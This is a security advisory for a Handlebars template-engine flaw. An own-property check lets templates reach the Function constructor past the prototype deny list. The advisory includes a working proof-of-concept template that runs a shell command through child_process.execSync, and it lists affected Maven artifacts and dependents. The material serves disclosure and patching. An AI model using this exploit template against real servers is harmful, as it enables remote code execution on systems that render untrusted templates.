CVE-2026-106445
Handlebars: JavaScript Injection via Own Property Check Bypass
Description
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
- Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
- Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
- Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » handlebarsvia npm handlebars | >= 3.0.0, < 4.7.10 | 4.7.10 |
| org.webjars » handlebarsvia npm handlebars | >= 3.0.0, < 4.7.10 | 4.7.10 |
| org.webjars.npm » handlebarsvia npm handlebars | >= 3.0.0, < 4.7.10 | 4.7.10 |
Blast radius
67% of the dependent artifacts (50) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 76 |
| 2 hops | 1,237 |
| 3 hops | 271 |
| 4 hops | 90 |
| 5 hops | 10 |
| 6 hops | 10 |
Most used dependents
- ro.isdc.wro4j » wro4j-maven-plugin48 usages
- ro.isdc.wro4j » wro4j-extensions39 usages
- com.foreach.across.modules » admin-web-module21 usages
- net.aequologica.neo » geppaequo-tags15 usages
- com.evolveum.midpoint.gui » admin-gui10 usages
- com.foreach.across.modules » bootstrap-ui-module7 usages
- net.aequologica.neo » geppaequo-web7 usages
- com.github.avarabyeu.jashing » jashing7 usages
- ru.yandex.qatools.camelot » camelot-web5 usages
- org.webjars.npm » openlayers4 usages
- org.mitre » openid-connect-server-webapp4 usages
- org.geonetwork-opensource » web-app3 usages
- com.slyak » slyak-web3 usages
- org.webjars.npm » istanbul3 usages
- org.geonetwork-opensource » gn-web-app2 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-106445 | nvd.nist.gov |
| Package | handlebars-lang/handlebars.js | github.com |
| Web | handlebars-lang/handlebars.js advisory GHSA-p8wg-vrv2-v86f | github.com |
| Web | handlebars-lang/handlebars.js pull request #2185 | github.com |
| Web | handlebars-lang/handlebars.js commit ceec388 | github.com |
| Web | handlebars-lang/handlebars.js release v4.7.10 | github.com |
